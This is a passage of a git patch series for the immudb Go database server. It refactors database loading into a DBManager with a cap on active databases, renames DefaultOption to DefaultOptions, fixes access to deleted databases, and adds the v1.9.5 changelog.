database.NewDB("replicated_defaultdb", nil, database.DefaultOptions().AsReplica(true).WithDBRootPath(path), logger) require.NoError(t, err) txReplicator, err := NewTxReplicator(xid.New(), db, rOpts, logger) @@ -80,7 +80,7 @@ func TestReplicationIsAbortedOnServerVersionMismatch(t *testing.T) { logger := logger.NewSimpleLogger("logger", os.Stdout) - db, err := database.NewDB("replicated_defaultdb", nil, database.DefaultOption().AsReplica(true).WithDBRootPath(path), logger) + db, err := database.NewDB("replicated_defaultdb", nil, database.DefaultOptions().AsReplica(true).WithDBRootPath(path), logger) require.NoError(t, err) txReplicator, err := NewTxReplicator(xid.New(), db, rOpts, logger) diff --git a/pkg/server/db_dummy_closed_test.go b/pkg/server/db_dummy_closed_test.go index ee788d10d7..51d5f0eb34 100644 --- a/pkg/server/db_dummy_closed_test.go +++ b/pkg/server/db_dummy_closed_test.go @@ -27,7 +27,7 @@ import ( ) func TestDummyClosedDatabase(t *testing.T) { - cdb := &closedDB{name: "closeddb1", opts: database.DefaultOption()} + cdb := &closedDB{name: "closeddb1", opts: database.DefaultOptions()} require.Equal(t, "data/closeddb1", cdb.Path()) diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index ab25dd0f7c..d89877165a 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -229,9 +229,9 @@ func (s *ImmuServer) defaultAHTOptions() *ahtOptions { } func (s *ImmuServer) databaseOptionsFrom(opts *dbOptions) *database.Options { - return database.DefaultOption(). + return database.DefaultOptions(). WithDBRootPath(s.Options.Dir). - WithStoreOptions(s.storeOptionsForDB(opts.Database, s.remoteStorage, opts.storeOptions(s))). + WithStoreOptions(s.storeOptionsForDB(opts.Database, s.remoteStorage, opts.storeOptions())). AsReplica(opts.Replica). WithSyncReplication(opts.SyncReplication). WithSyncAcks(opts.SyncAcks). @@ -241,7 +241,7 @@ func (s *ImmuServer) databaseOptionsFrom(opts *dbOptions) *database.Options { WithMaxResultSize(s.Options.MaxResultSize) } -func (opts *dbOptions) storeOptions(s *ImmuServer) *store.Options { +func (opts *dbOptions) storeOptions() *store.Options { indexOpts := store.DefaultIndexOptions() if opts.IndexOptions != nil { @@ -263,10 +263,6 @@ func (opts *dbOptions) storeOptions(s *ImmuServer) *store.Options { WithBulkPreparationTimeout(time.Millisecond * time.Duration(opts.IndexOptions.BulkPreparationTimeout)) } - if s != nil { - indexOpts.WithCacheFactoryFunc(s.indexCacheFactoryFunc()) - } - ahtOpts := store.DefaultAHTOptions() if opts.AHTOptions != nil { @@ -823,7 +819,7 @@ func (opts *dbOptions) Validate() error { ErrIllegalArguments, opts.Database, store.MinimumTruncationFrequency.Hours()) } - return opts.storeOptions(nil).Validate() + return opts.storeOptions().Validate() } func (opts *dbOptions) isReplicatorRequired() bool { diff --git a/pkg/server/metrics_funcs_test.go b/pkg/server/metrics_funcs_test.go index de34915d15..027a97dbb0 100644 --- a/pkg/server/metrics_funcs_test.go +++ b/pkg/server/metrics_funcs_test.go @@ -50,7 +50,7 @@ func (dbm dbMock) GetOptions() *database.Options { if dbm.getOptionsF != nil { return dbm.getOptionsF() } - return database.DefaultOption() + return database.DefaultOptions() } func (dbm dbMock) GetName() string { @@ -61,7 +61,6 @@ func (dbm dbMock) GetName() string { } func TestMetricFuncComputeDBEntries(t *testing.T) { - currentStateSuccessfulOnce := func(callCounter *int) (*schema.ImmutableState, error) { *callCounter++ if *callCounter == 1 { @@ -73,12 +72,15 @@ func TestMetricFuncComputeDBEntries(t *testing.T) { } currentStateCounter := 0 - dbList := database.NewDatabaseList() - dbList.Put(dbMock{ - currentStateF: func() (*schema.ImmutableState, error) { - return currentStateSuccessfulOnce(¤tStateCounter) - }, - }) + dbList := database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) { + return &dbMock{ + currentStateF: func() (*schema.ImmutableState, error) { + return currentStateSuccessfulOnce(¤tStateCounter) + }, + }, nil + }, 100, logger.NewMemoryLogger())) + + dbList.Put("test", database.DefaultOptions()) currentStateCountersysDB := 0 sysDB := dbMock{ @@ -86,7 +88,7 @@ func TestMetricFuncComputeDBEntries(t *testing.T) { return "systemdb" }, getOptionsF: func() *database.Options { - return database.DefaultOption() + return database.DefaultOptions() }, currentStateF: func() (*schema.ImmutableState, error) { return currentStateSuccessfulOnce(¤tStateCountersysDB) @@ -135,15 +137,17 @@ func TestMetricFuncComputeDBSizes(t *testing.T) { defer file.Close() //<-- - dbList := database.NewDatabaseList() - dbList.Put(dbMock{ - getNameF: func() string { - return "defaultdb" - }, - getOptionsF: func() *database.Options { - return database.DefaultOption() - }, - }) + dbList := database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) { + return &dbMock{ + getNameF: func() string { + return "defaultdb" + }, + getOptionsF: func() *database.Options { + return database.DefaultOptions() + }, + }, nil + }, 100, logger.NewMemoryLogger())) + dbList.Put("test", database.DefaultOptions()) s := ImmuServer{ Options: &Options{ @@ -153,7 +157,7 @@ func TestMetricFuncComputeDBSizes(t *testing.T) { dbList: dbList, sysDB: dbMock{ getOptionsF: func() *database.Options { - return database.DefaultOption() + return database.DefaultOptions() }, }, } @@ -177,15 +181,20 @@ func TestMetricFuncComputeDBSizes(t *testing.T) { } func TestMetricFuncComputeLoadedDBSize(t *testing.T) { - dbList := database.NewDatabaseList() - dbList.Put(dbMock{ - getNameF: func() string { - return "defaultdb" - }, - getOptionsF: func() *database.Options { - return database.DefaultOption() - }, - }) + dbList := database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) { + db := dbMock{ + getNameF: func() string { + return name + }, + getOptionsF: func() *database.Options { + return opts + }, + } + return db, nil + }, 10, logger.NewMemoryLogger())) + + dbList.Put("defaultdb", database.DefaultOptions()) + var sw strings.Builder s := ImmuServer{ Options: &Options{ @@ -194,7 +203,7 @@ func TestMetricFuncComputeLoadedDBSize(t *testing.T) { dbList: dbList, sysDB: dbMock{ getOptionsF: func() *database.Options { - return database.DefaultOption() + return database.DefaultOptions() }, }, Logger: logger.NewSimpleLoggerWithLevel( @@ -202,6 +211,6 @@ func TestMetricFuncComputeLoadedDBSize(t *testing.T) { &sw, logger.LogError), } - require.Equal(t,s.metricFuncComputeLoadedDBSize(),1.0) - require.Equal(t,s.metricFuncComputeSessionCount(),0.0) + require.Equal(t, s.metricFuncComputeLoadedDBSize(), 1.0) + require.Equal(t, s.metricFuncComputeSessionCount(), 0.0) } diff --git a/pkg/server/options.go b/pkg/server/options.go index 9de03c97ba..62c3d3cb8a 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -83,7 +83,7 @@ type Options struct { GRPCReflectionServerEnabled bool SwaggerUIEnabled bool LogRequestMetadata bool - SharedIndexCacheSize int + MaxActiveDatabases int } type RemoteStorageOptions struct { @@ -157,7 +157,7 @@ func DefaultOptions() *Options { LogRequestMetadata: false, LogDir: "immulog", LogAccess: false, - SharedIndexCacheSize: 1 << 27, // 128MB + MaxActiveDatabases: 100, } } @@ -537,6 +537,11 @@ func (o *Options) WithLogRequestMetadata(enabled bool) *Options { return o } +func (o *Options) WithMaxActiveDatabases(n int) *Options { + o.MaxActiveDatabases = n + return o +} + // RemoteStorageOptions func (opts *RemoteStorageOptions) WithS3Storage(S3Storage bool) *RemoteStorageOptions { diff --git a/pkg/server/remote_storage.go b/pkg/server/remote_storage.go index a036d394c4..36795a10dc 100644 --- a/pkg/server/remote_storage.go +++ b/pkg/server/remote_storage.go @@ -27,7 +27,6 @@ import ( "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/codenotary/immudb/embedded/appendable/remoteapp" - "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/remotestorage" "github.com/codenotary/immudb/embedded/remotestorage/s3" "github.com/codenotary/immudb/embedded/store" @@ -159,16 +158,6 @@ func (s *ImmuServer) updateRemoteUUID(remoteStorage remotestorage.Storage) error return remoteStorage.Put(ctx, IDENTIFIER_FNAME, filepath.Join(s.Options.Dir, IDENTIFIER_FNAME)) } -func (s *ImmuServer) indexCacheFactoryFunc() store.IndexCacheFactoryFunc { - if s.indexCacheFunc == nil { - c, _ := cache.NewCache(s.Options.SharedIndexCacheSize) - s.indexCacheFunc = func() *cache.Cache { - return c - } - } - return s.indexCacheFunc -} - func (s *ImmuServer) storeOptionsForDB(name string, remoteStorage remotestorage.Storage, stOpts *store.Options) *store.Options { if remoteStorage != nil { stOpts.WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index d3918de1a0..a018616f1c 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -30,6 +30,7 @@ import ( "github.com/codenotary/immudb/embedded/remotestorage/memory" "github.com/codenotary/immudb/embedded/remotestorage/s3" "github.com/codenotary/immudb/embedded/store" + "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/rs/xid" @@ -578,6 +579,17 @@ func TestRemoteStorageUsedForNewDB(t *testing.T) { _, err = s.CreateDatabaseWith(ctx, newdb) require.NoError(t, err) + + // force db loading + repl, err := s.UseDatabase(ctx, &schema.Database{DatabaseName: "newdb"}) + require.NoError(t, err) + + md = metadata.Pairs("authorization", repl.Token) + ctx = metadata.NewIncomingContext(context.Background(), md) + + _, err = s.Get(ctx, &schema.KeyRequest{Key: []byte("test-key")}) + require.ErrorIs(t, err, tbtree.ErrKeyNotFound) + err = s.CloseDatabases() require.NoError(t, err) diff --git a/pkg/server/server.go b/pkg/server/server.go index 1a78c5d481..1c53434b73 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -25,6 +25,7 @@ import ( "net" "os" "os/signal" + "path" "path/filepath" "strings" "syscall" @@ -133,6 +134,9 @@ func (s *ImmuServer) Initialize() error { return logErr(s.Logger, "unable to initialize remote storage: %v", err) } + // NOTE: MaxActiveDatabases might have changed since the server instance was created + s.dbList.Resize(s.Options.MaxActiveDatabases) + if err = s.loadSystemDatabase(dataDir, s.remoteStorage, adminPassword, s.Options.ForceAdminPassword); err != nil { return logErr(s.Logger, "unable to load system database: %v", err) } @@ -564,11 +568,7 @@ func (s *ImmuServer) loadDefaultDatabase(dataDir string, remoteStorage remotesto _, err = s.OS.Stat(defaultDbRootDir) if err == nil { - db, err := database.OpenDB(dbOpts.Database, s.multidbHandler(), s.databaseOptionsFrom(dbOpts), s.Logger) - if err != nil { - s.Logger.Errorf("database '%s' was not correctly initialized.\n"+"Use replication to recover from external source or start without data folder.", dbOpts.Database) - return err - } + db := s.dbList.Put(dbOpts.Database, s.databaseOptionsFrom(dbOpts)) if dbOpts.isReplicatorRequired() { err = s.startReplicationFor(db, dbOpts) @@ -577,8 +577,6 @@ func (s *ImmuServer) loadDefaultDatabase(dataDir string, remoteStorage remotesto } } - s.dbList.Put(db) - return nil } @@ -586,10 +584,10 @@ func (s *ImmuServer) loadDefaultDatabase(dataDir string, remoteStorage remotesto return err } - db, err := database.NewDB(dbOpts.Database, s.multidbHandler(), s.databaseOptionsFrom(dbOpts), s.Logger) - if err != nil { - return err - } + opts := s.databaseOptionsFrom(dbOpts) + os.MkdirAll(path.Join(opts.GetDBRootPath(), dbOpts.Database), os.ModePerm) + + db := s.dbList.Put(dbOpts.Database, opts) if dbOpts.isReplicatorRequired() { err = s.startReplicationFor(db, dbOpts) @@ -598,8 +596,6 @@ func (s *ImmuServer) loadDefaultDatabase(dataDir string, remoteStorage remotesto } } - s.dbList.Put(db) - return nil } @@ -623,7 +619,7 @@ func (s *ImmuServer) loadUserDatabases(dataDir string, remoteStorage remotestora dirs = append(dirs, f.Name()) } - //load databases that are inside each directory + // load databases that are inside each directory for _, val := range dirs { //dbname is the directory name where it is stored //path iteration above stores the directories as data/db_name @@ -635,18 +631,14 @@ func (s *ImmuServer) loadUserDatabases(dataDir string, remoteStorage remotestora return err } - if !dbOpts.Autoload.isEnabled() { - s.Logger.Infof("database '%s' is closed (autoload is disabled)", dbname) - s.dbList.Put(&closedDB{name: dbname, opts: s.databaseOptionsFrom(dbOpts)}) - continue - } - s.logDBOptions(dbname, dbOpts) - db, err := database.OpenDB(dbname, s.multidbHandler(), s.databaseOptionsFrom(dbOpts), s.Logger) - if err != nil { - s.Logger.Errorf("database '%s' could not be loaded. Reason: %v", dbname, err) - s.dbList.Put(&closedDB{name: dbname, opts: s.databaseOptionsFrom(dbOpts)}) + var db database.DB + if dbOpts.Autoload.isEnabled() { + db = s.dbList.Put(dbname, s.databaseOptionsFrom(dbOpts)) + } else { + s.Logger.Infof("database '%s' is closed (autoload is disabled)", dbname) + s.dbList.PutClosed(dbname, s.databaseOptionsFrom(dbOpts)) continue } @@ -663,8 +655,6 @@ func (s *ImmuServer) loadUserDatabases(dataDir string, remoteStorage remotestora s.Logger.Errorf("error starting truncation for database '%s'. Reason: %v", db.GetName(), err) } } - - s.dbList.Put(db) } return nil @@ -774,17 +764,16 @@ func (s *ImmuServer) Stop() error { // CloseDatabases closes all opened databases including the consinstency checker func (s *ImmuServer) CloseDatabases() error { - for i := 0; i < s.dbList.Length(); i++ { - val, err := s.dbList.GetByIndex(i) - if err == nil { - val.Close() - } + ctx, cancel := context.WithTimeout(context.Background(), time.Second*10) + defer cancel() + + if err := s.dbList.CloseAll(ctx); err != nil { + return err } if s.sysDB != nil { s.sysDB.Close() } - return nil } @@ -808,7 +797,7 @@ func (s *ImmuServer) updateConfigItem(key string, newOrUpdatedLine string, uncha if strings.HasPrefix(l, key+"=") || strings.HasPrefix(l, key+" =") { kv := strings.Split(l, "=") if unchanged(kv[1]) { - return fmt.Errorf("Server config already has '%s'", newOrUpdatedLine) + return fmt.Errorf("server config already has '%s'", newOrUpdatedLine) } configLines[i] = newOrUpdatedLine write = true @@ -872,11 +861,11 @@ func (s *ImmuServer) numTransactions() (uint64, error) { return 0, err } - dbTxCount, err := db.TxCount() + state, err := db.CurrentState() if err != nil { return 0, err } - count += dbTxCount + count += state.TxId } return count, nil } @@ -895,7 +884,8 @@ func (s *ImmuServer) totalDBSize() (int64, error) { return -1, err } - dbSize, err := db.Size() + dbName := db.GetName() + dbSize, err := dirSize(filepath.Join(s.Options.Dir, dbName)) if err != nil { return -1, err } @@ -1031,12 +1021,10 @@ func (s *ImmuServer) CreateDatabaseV2(ctx context.Context, req *schema.CreateDat return nil, err } - db, err := database.NewDB(dbOpts.Database, s.multidbHandler(), s.databaseOptionsFrom(dbOpts), s.Logger) - if err != nil { - return nil, err - } + opts := s.databaseOptionsFrom(dbOpts) + os.MkdirAll(path.Join(opts.GetDBRootPath(), dbOpts.Database), os.ModePerm) + db := s.dbList.Put(dbOpts.Database, s.databaseOptionsFrom(dbOpts)) - s.dbList.Put(db) s.multidbmode = true s.logDBOptions(db.GetName(), dbOpts) @@ -1111,12 +1099,7 @@ func (s *ImmuServer) LoadDatabase(ctx context.Context, req *schema.LoadDatabaseR return nil, fmt.Errorf("%w: while loading database settings", err) } - db, err = database.OpenDB(req.Database, s.multidbHandler(), s.databaseOptionsFrom(dbOpts), s.Logger) - if err != nil { - return nil, fmt.Errorf("%w: while opening database", err) - } - - s.dbList.Put(db) + s.dbList.Put(req.Database, s.databaseOptionsFrom(dbOpts)) if dbOpts.isReplicatorRequired() { err = s.startReplicationFor(db, dbOpts) @@ -1466,11 +1449,13 @@ func (s *ImmuServer) DatabaseList(ctx context.Context, _ *empty.Empty) (*schema. } resp := &schema.DatabaseListResponse{} - - for _, db := range dbsWithSettings.Databases { - resp.Databases = append(resp.Databases, &schema.Database{DatabaseName: db.Name}) + if len(dbsWithSettings.Databases) > 0 { + resp.Databases = make([]*schema.Database, len(dbsWithSettings.Databases)) } + for i, db := range dbsWithSettings.Databases { + resp.Databases[i] = &schema.Database{DatabaseName: db.Name} + } return resp, nil } @@ -1488,17 +1473,19 @@ func (s *ImmuServer) DatabaseListV2(ctx context.Context, req *schema.DatabaseLis } for _, db := range databases { - dbOpts, err := s.loadDBOptions(db.GetName(), false) + dbName := db.GetName() + + dbOpts, err := s.loadDBOptions(dbName, false) if err != nil { return nil, err } - size, err := db.Size() + size, err := dirSize(filepath.Join(s.Options.Dir, dbName)) if err != nil { return nil, err } - txCount, err := db.TxCount() + state, err := db.CurrentState() if err != nil { return nil, err } @@ -1507,8 +1494,8 @@ func (s *ImmuServer) DatabaseListV2(ctx context.Context, req *schema.DatabaseLis Name: db.GetName(), Settings: dbOpts.databaseNullableSettings(), Loaded: !db.IsClosed(), - DiskSize: size, - NumTransactions: txCount, + DiskSize: uint64(size), + NumTransactions: state.TxId, CreatedAt: uint64(dbOpts.CreatedAt.Unix()), CreatedBy: dbOpts.CreatedBy, } diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 683e8d4792..81bab51aa6 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -98,7 +98,7 @@ func TestServerDefaultDatabaseLoad(t *testing.T) { s, closer := testServer(opts) defer closer() - options := database.DefaultOption().WithDBRootPath(dir) + options := database.DefaultOptions().WithDBRootPath(dir) dbRootpath := options.GetDBRootPath() err := s.loadDefaultDatabase(dbRootpath, nil) @@ -108,7 +108,7 @@ func TestServerDefaultDatabaseLoad(t *testing.T) { func TestServerReOpen(t *testing.T) { serverOptions := DefaultOptions().WithDir(t.TempDir()) - options := database.DefaultOption().WithDBRootPath(serverOptions.Dir) + options := database.DefaultOptions().WithDBRootPath(serverOptions.Dir) dbRootpath := options.GetDBRootPath() s, closer := testServer(serverOptions) @@ -136,7 +136,7 @@ func TestServerReOpen(t *testing.T) { func TestServerSystemDatabaseLoad(t *testing.T) { serverOptions := DefaultOptions().WithDir(t.TempDir()) - options := database.DefaultOption().WithDBRootPath(serverOptions.Dir) + options := database.DefaultOptions().WithDBRootPath(serverOptions.Dir) dbRootpath := options.GetDBRootPath() s, closer := testServer(serverOptions) @@ -153,7 +153,7 @@ func TestServerSystemDatabaseLoad(t *testing.T) { func TestServerResetAdminPassword(t *testing.T) { serverOptions := DefaultOptions().WithDir(t.TempDir()) - options := database.DefaultOption().WithDBRootPath(serverOptions.Dir) + options := database.DefaultOptions().WithDBRootPath(serverOptions.Dir) dbRootpath := options.GetDBRootPath() var txID uint64 @@ -1342,7 +1342,7 @@ func TestServerUpdateConfigItem(t *testing.T) { // Config already having the specified item ioutil.WriteFile(configFile, []byte("key = value"), 0644) err = s.updateConfigItem("key", "key = value", func(string) bool { return true }) - require.ErrorContains(t, err, "Server config already has 'key = value'") + require.ErrorContains(t, err, "server config already has 'key = value'") // Add new config item err = s.updateConfigItem("key2", "key2 = value2", func(string) bool { return false }) diff --git a/pkg/server/sessions/internal/transactions/transactions_test.go b/pkg/server/sessions/internal/transactions/transactions_test.go index 0289a7d552..62309c20c5 100644 --- a/pkg/server/sessions/internal/transactions/transactions_test.go +++ b/pkg/server/sessions/internal/transactions/transactions_test.go @@ -30,7 +30,7 @@ import ( func TestNewTx(t *testing.T) { path := t.TempDir() - db, err := database.NewDB("db1", nil, database.DefaultOption().WithDBRootPath(path), logger.NewSimpleLogger("logger", os.Stdout)) + db, err := database.NewDB("db1", nil, database.DefaultOptions().WithDBRootPath(path), logger.NewSimpleLogger("logger", os.Stdout)) require.NoError(t, err) _, err = NewTransaction(context.Background(), nil, db, "session1") diff --git a/pkg/server/truncator_test.go b/pkg/server/truncator_test.go index e977c8cff0..a80b043582 100644 --- a/pkg/server/truncator_test.go +++ b/pkg/server/truncator_test.go @@ -21,6 +21,7 @@ import ( "testing" "time" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" @@ -133,7 +134,9 @@ func TestServerLoadDatabaseWithRetention(t *testing.T) { err = s.CloseDatabases() require.NoError(t, err) - s.dbList = database.NewDatabaseList() + s.dbList = database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) { + return database.OpenDB(name, s.multidbHandler(), opts, s.Logger) + }, 10, logger.NewMemoryLogger())) s.sysDB = nil t.Run("attempt to load database should pass", func(t *testing.T) { diff --git a/pkg/server/types.go b/pkg/server/types.go index 19640ebcbf..2792b155fe 100644 --- a/pkg/server/types.go +++ b/pkg/server/types.go @@ -26,7 +26,6 @@ import ( "github.com/codenotary/immudb/pkg/server/sessions" "github.com/codenotary/immudb/pkg/truncator" - "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/remotestorage" pgsqlsrv "github.com/codenotary/immudb/pkg/pgsql/server" "github.com/codenotary/immudb/pkg/replication" @@ -58,8 +57,8 @@ const ( type ImmuServer struct { OS immuos.OS + dbListMutex sync.Mutex dbList database.DatabaseList - dbListMutex sync.Mutex // TODO: convert dbList into a dbManager capable of opening/closing/deleting dbs replicators map[string]*replication.TxReplicator replicationMutex sync.Mutex @@ -86,16 +85,14 @@ type ImmuServer struct { StreamServiceFactory stream.ServiceFactory PgsqlSrv pgsqlsrv.PGSQLServer - remoteStorage remotestorage.Storage - indexCacheFunc func() *cache.Cache - SessManager sessions.Manager + remoteStorage remotestorage.Storage + SessManager sessions.Manager } // DefaultServer returns a new ImmuServer instance with all configuration options set to their default values. func DefaultServer() *ImmuServer { - return &ImmuServer{ + s := &ImmuServer{ OS: immuos.NewStandardOS(), - dbList: database.NewDatabaseList(), replicators: make(map[string]*replication.TxReplicator), truncators: make(map[string]*truncator.Truncator), Logger: logger.NewSimpleLogger("immudb ", os.Stderr), @@ -105,6 +102,11 @@ func DefaultServer() *ImmuServer { GrpcServer: grpc.NewServer(), StreamServiceFactory: stream.NewStreamServiceFactory(DefaultOptions().StreamChunkSize), } + + s.dbList = database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) { + return database.OpenDB(name, s.multidbHandler(), opts, s.Logger) + }, s.Options.MaxActiveDatabases, s.Logger)) + return s } type ImmuServerIf interface { diff --git a/pkg/server/types_test.go b/pkg/server/types_test.go index 1ebc6d6b6b..0db0618435 100644 --- a/pkg/server/types_test.go +++ b/pkg/server/types_test.go @@ -53,7 +53,7 @@ func TestWithStreamServiceFactory(t *testing.T) { func TestWithDbList(t *testing.T) { dir := t.TempDir() - dbList := database.NewDatabaseList() + dbList := database.NewDatabaseList(nil) s := DefaultServer() s.WithOptions(DefaultOptions().WithDir(dir)) diff --git a/pkg/server/user_test.go b/pkg/server/user_test.go index 710b3bf0f1..e189b7d3b6 100644 --- a/pkg/server/user_test.go +++ b/pkg/server/user_test.go @@ -21,6 +21,7 @@ import ( "fmt" "testing" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" @@ -136,7 +137,9 @@ func TestServerListUsersAdmin(t *testing.T) { err = s.CloseDatabases() require.NoError(t, err) - s.dbList = database.NewDatabaseList() + s.dbList = database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) { + return database.OpenDB(name, s.multidbHandler(), opts, s.Logger) + }, 10, logger.NewMemoryLogger())) s.sysDB = nil err = s.loadSystemDatabase(s.Options.Dir, nil, auth.SysAdminPassword, false) diff --git a/pkg/truncator/truncator.go b/pkg/truncator/truncator.go index 192a254139..7c613d0db8 100644 --- a/pkg/truncator/truncator.go +++ b/pkg/truncator/truncator.go @@ -60,7 +60,7 @@ func NewTruncator( return &Truncator{ db: db, logger: logger, - truncators: []database.Truncator{database.NewVlogTruncator(db)}, + truncators: []database.Truncator{database.NewVlogTruncator(db, logger)}, donech: make(chan struct{}), stopch: make(chan struct{}), retentionPeriod: retentionPeriod, @@ -169,7 +169,7 @@ func (t *Truncator) Truncate(ctx context.Context, retentionPeriod time.Duration) // Truncate discards the appendable log upto the offset // specified in the transaction hdr - err = c.TruncateUptoTx(ctx, hdr.ID) + err = c.TruncateUptoTx(ctx, hdr.Id) if err != nil { return err } diff --git a/pkg/truncator/truncator_test.go b/pkg/truncator/truncator_test.go index 87479ed4b2..fe6b362877 100644 --- a/pkg/truncator/truncator_test.go +++ b/pkg/truncator/truncator_test.go @@ -46,7 +46,7 @@ func makeDbWith(t *testing.T, dbName string, opts *database.Options) database.DB } func TestDatabase_truncate_with_duration(t *testing.T) { - options := database.DefaultOption().WithDBRootPath(t.TempDir()) + options := database.DefaultOptions().WithDBRootPath(t.TempDir()) so := options.GetStoreOptions() @@ -75,7 +75,7 @@ func TestDatabase_truncate_with_duration(t *testing.T) { } } - c := database.NewVlogTruncator(db) + c := database.NewVlogTruncator(db, logger.NewMemoryLogger()) _, err := c.Plan(ctx, getTruncationTime(queryTime, time.Duration(1*time.Hour))) require.ErrorIs(t, err, database.ErrRetentionPeriodNotReached) @@ -84,7 +84,7 @@ func TestDatabase_truncate_with_duration(t *testing.T) { require.NoError(t, err) require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) - err = c.TruncateUptoTx(ctx, hdr.ID) + err = c.TruncateUptoTx(ctx, hdr.Id) require.NoError(t, err) // TODO: hard to determine the actual transaction up to which the database was truncated. @@ -98,7 +98,7 @@ func TestDatabase_truncate_with_duration(t *testing.T) { require.Error(t, err) } - for i := hdr.ID; i <= 20; i++ { + for i := hdr.Id; i <= 20; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: []byte(fmt.Sprintf("val_%d", i)), @@ -113,7 +113,7 @@ func TestDatabase_truncate_with_duration(t *testing.T) { } func TestTruncator(t *testing.T) { - options := database.DefaultOption().WithDBRootPath(t.TempDir()) + options := database.DefaultOptions().WithDBRootPath(t.TempDir()) so := options.GetStoreOptions(). WithEmbeddedValues(false) @@ -139,7 +139,7 @@ func TestTruncator(t *testing.T) { } func TestTruncator_with_truncation_frequency(t *testing.T) { - options := database.DefaultOption().WithDBRootPath(t.TempDir()) + options := database.DefaultOptions().WithDBRootPath(t.TempDir()) so := options.GetStoreOptions(). WithEmbeddedValues(false) @@ -202,7 +202,7 @@ func Test_getTruncationTime(t *testing.T) { } func TestTruncator_with_retention_period(t *testing.T) { - options := database.DefaultOption().WithDBRootPath(t.TempDir()) + options := database.DefaultOptions().WithDBRootPath(t.TempDir()) so := options.GetStoreOptions(). WithEmbeddedValues(false) @@ -229,7 +229,7 @@ type mockTruncator struct { err error } -func (m *mockTruncator) Plan(context.Context, time.Time) (*store.TxHeader, error) { +func (m *mockTruncator) Plan(context.Context, time.Time) (*schema.TxHeader, error) { return nil, m.err } @@ -240,7 +240,7 @@ func (m *mockTruncator) TruncateUptoTx(context.Context, uint64) error { } func TestTruncator_with_nothing_to_truncate(t *testing.T) { - options := database.DefaultOption().WithDBRootPath(t.TempDir()) + options := database.DefaultOptions().WithDBRootPath(t.TempDir()) so := options.GetStoreOptions(). WithEmbeddedValues(false) From dff412ac9707ba32f9658407cb94ffd5f3031ba4 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Mon, 16 Sep 2024 11:52:58 +0200 Subject: [PATCH 1052/1062] fix(pkg/dabase): return error when attempting to access deleted database Signed-off-by: Stefano Scafiti --- pkg/database/db_manager.go | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/pkg/database/db_manager.go b/pkg/database/db_manager.go index 85ed9647b7..6fa3147aa0 100644 --- a/pkg/database/db_manager.go +++ b/pkg/database/db_manager.go @@ -266,10 +266,15 @@ func (m *DBManager) Has(name string) bool { } func (m *DBManager) HasIndex(idx int) bool { - m.dbMutex.RLock() - defer m.dbMutex.RUnlock() + db, exists := m.getDB(idx) + if !exists { + return false + } + + db.mtx.Lock() + defer db.mtx.Unlock() - return idx >= 0 && idx < len(m.databases) + return !db.deleted } func (m *DBManager) GetIndexByName(name string) int { From 86e956fc33214c0f69154587908446d15cc22a88 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Mon, 16 Sep 2024 13:14:12 +0200 Subject: [PATCH 1053/1062] release: v1.9.5 --- CHANGELOG.md | 21 ++++++++++++++-- Makefile | 2 +- README.md | 67 +++++++++++++++++++++++++------------------------ helm/Chart.yaml | 4 +-- 4 files changed, 56 insertions(+), 38 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 832669287e..23660c1f77 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,8 +4,24 @@ All notable changes to this project will be documented in this file. This projec ## [Unreleased] + +## [v1.9.5] - 2024-09-16 +### Bug Fixes +- time.Since should not be used in defer statement +- **pkg/dabase:** return error when attempting to access deleted database +- **pkg/pgsql/server:** close row readers to release resources +- **pkg/server:** run metrics server under HTTPS + +### Changes +- **embedded/logging:** improve file base logging. +- **embedded/sql:** improvements on SQL layer. +- **embedded/store:** improve index flush logic +- **pkg/database:** implement database manager +- **pkg/server:** implement automatic generation of self-signed HTTPS certificate + + -## [v1.9.4] - 2024-07-24 +## [v1.9.4] - 2024-07-25 ### Bug Fixes - set mattermost payload @@ -3885,7 +3901,8 @@ All notable changes to this project will be documented in this file. This projec - **tree:** MTH reference impl -[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9.4...HEAD +[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9.5...HEAD +[v1.9.5]: https://github.com/vchain-us/immudb/compare/v1.9.4...v1.9.5 [v1.9.4]: https://github.com/vchain-us/immudb/compare/v1.9.3...v1.9.4 [v1.9.3]: https://github.com/vchain-us/immudb/compare/v1.9DOM.2...v1.9.3 [v1.9DOM.2]: https://github.com/vchain-us/immudb/compare/v1.9DOM.2-RC1...v1.9DOM.2 diff --git a/Makefile b/Makefile index 6584a451d6..351c9fdecf 100644 